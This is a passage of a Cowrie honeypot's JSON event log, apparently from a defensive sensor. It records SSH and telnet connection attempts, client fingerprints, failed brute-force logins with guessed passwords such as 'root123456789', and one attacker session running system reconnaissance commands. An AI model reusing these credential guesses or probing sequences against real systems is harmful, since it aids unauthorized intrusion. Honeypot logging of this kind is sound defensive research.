{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.460598Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.463672Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.681542Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.946101Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.950674Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.167091Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.436468Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.439753Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.657424Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.925110Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:29.929257Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.148320Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.467256Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.472656Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.703779Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.981146Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:30.984927Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:31.221569Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:31.228814Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":37218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c2d33b69fe","protocol":"telnet","message":"New connection: 221.121.143.23:37218 (10.17.0.5:23) [session: f6c2d33b69fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:42.015491Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"40abcabf130d","protocol":"telnet","message":"New connection: 221.121.143.23:38414 (10.17.0.5:23) [session: 40abcabf130d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:43.759972Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7de55b76a1e","protocol":"telnet","message":"New connection: 221.121.143.23:39418 (10.17.0.5:23) [session: a7de55b76a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:46.930848Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60314,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a4820d5ae7","protocol":"ssh","message":"New connection: 159.203.92.129:60314 (159.203.135.109:22) [session: a5a4820d5ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:47.066644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:47.072775Z","src_ip":"159.203.92.129","session":"a5a4820d5ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:47.077636Z","src_ip":"159.203.92.129","session":"a5a4820d5ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123456789","message":"login attempt [admin/root123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:47.109656Z","src_ip":"159.203.92.129","session":"a5a4820d5ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:48.117635Z","src_ip":"159.203.92.129","session":"a5a4820d5ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":42426,"dst_ip":"10.17.0.5","dst_port":23,"session":"13fcce06a74a","protocol":"telnet","message":"New connection: 221.121.143.23:42426 (10.17.0.5:23) [session: 13fcce06a74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:55.199219Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2db21141018","protocol":"telnet","message":"New connection: 221.121.143.23:46022 (10.17.0.5:23) [session: d2db21141018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:02.279888Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":50808,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dac4c0c83e0","protocol":"telnet","message":"New connection: 221.121.143.23:50808 (10.17.0.5:23) [session: 7dac4c0c83e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:09.686958Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":51966,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe431bff247","protocol":"telnet","message":"New connection: 221.121.143.23:51966 (10.17.0.5:23) [session: cbe431bff247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:10.965230Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":51508,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d350f0eb380","protocol":"telnet","message":"New connection: 221.121.143.23:51508 (10.17.0.5:23) [session: 9d350f0eb380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:11.181658Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef77afdc2a0","protocol":"ssh","message":"New connection: 185.239.84.249:46822 (159.203.135.109:22) [session: cef77afdc2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:14.469965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:14.474672Z","src_ip":"185.239.84.249","session":"cef77afdc2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51516509056091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:14.530581Z","src_ip":"221.121.143.23","session":"f6c2d33b69fe","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:14.695801Z","src_ip":"185.239.84.249","session":"cef77afdc2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkk","message":"login attempt [root/kkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:15.600871Z","src_ip":"185.239.84.249","session":"cef77afdc2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:16.820131Z","src_ip":"185.239.84.249","session":"cef77afdc2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.385175704956055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:18.144993Z","src_ip":"221.121.143.23","session":"40abcabf130d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73491597175598,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:19.665651Z","src_ip":"221.121.143.23","session":"a7de55b76a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"365b378f21e6","protocol":"telnet","message":"New connection: 221.121.143.23:57220 (10.17.0.5:23) [session: 365b378f21e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:20.212741Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6024ed285d2c","protocol":"telnet","message":"New connection: 221.121.143.23:56678 (10.17.0.5:23) [session: 6024ed285d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:20.424923Z"}
{"eventid":"cowrie.session.closed","duration":32.734543323516846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:27.933621Z","src_ip":"221.121.143.23","session":"13fcce06a74a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":33230,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd8255c47268","protocol":"telnet","message":"New connection: 221.121.143.23:33230 (10.17.0.5:23) [session: dd8255c47268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:28.136113Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":33294,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05362bc5c3d","protocol":"telnet","message":"New connection: 221.121.143.23:33294 (10.17.0.5:23) [session: a05362bc5c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:28.200477Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":33584,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb564707643e","protocol":"telnet","message":"New connection: 221.121.143.23:33584 (10.17.0.5:23) [session: bb564707643e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:28.596458Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60724,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dfdc84f8c90","protocol":"ssh","message":"New connection: 159.203.92.129:60724 (159.203.135.109:22) [session: 4dfdc84f8c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:29.276811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:29.281446Z","src_ip":"159.203.92.129","session":"4dfdc84f8c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:29.285471Z","src_ip":"159.203.92.129","session":"4dfdc84f8c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123@","message":"login attempt [admin/root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:29.297343Z","src_ip":"159.203.92.129","session":"4dfdc84f8c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:30.315158Z","src_ip":"159.203.92.129","session":"4dfdc84f8c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2c8f9b5ab4","protocol":"telnet","message":"New connection: 221.121.143.23:35448 (10.17.0.5:23) [session: be2c8f9b5ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:30.742714Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":36946,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c3b89a518f","protocol":"telnet","message":"New connection: 221.121.143.23:36946 (10.17.0.5:23) [session: 78c3b89a518f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:33.310375Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aeeedace7aa","protocol":"telnet","message":"New connection: 221.121.143.23:37086 (10.17.0.5:23) [session: 0aeeedace7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:34.512032Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":29305,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e01ac1b8c0d","protocol":"ssh","message":"New connection: 212.154.234.9:29305 (10.17.0.5:22) [session: 2e01ac1b8c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:35.071494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:56:35.076636Z","src_ip":"212.154.234.9","session":"2e01ac1b8c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256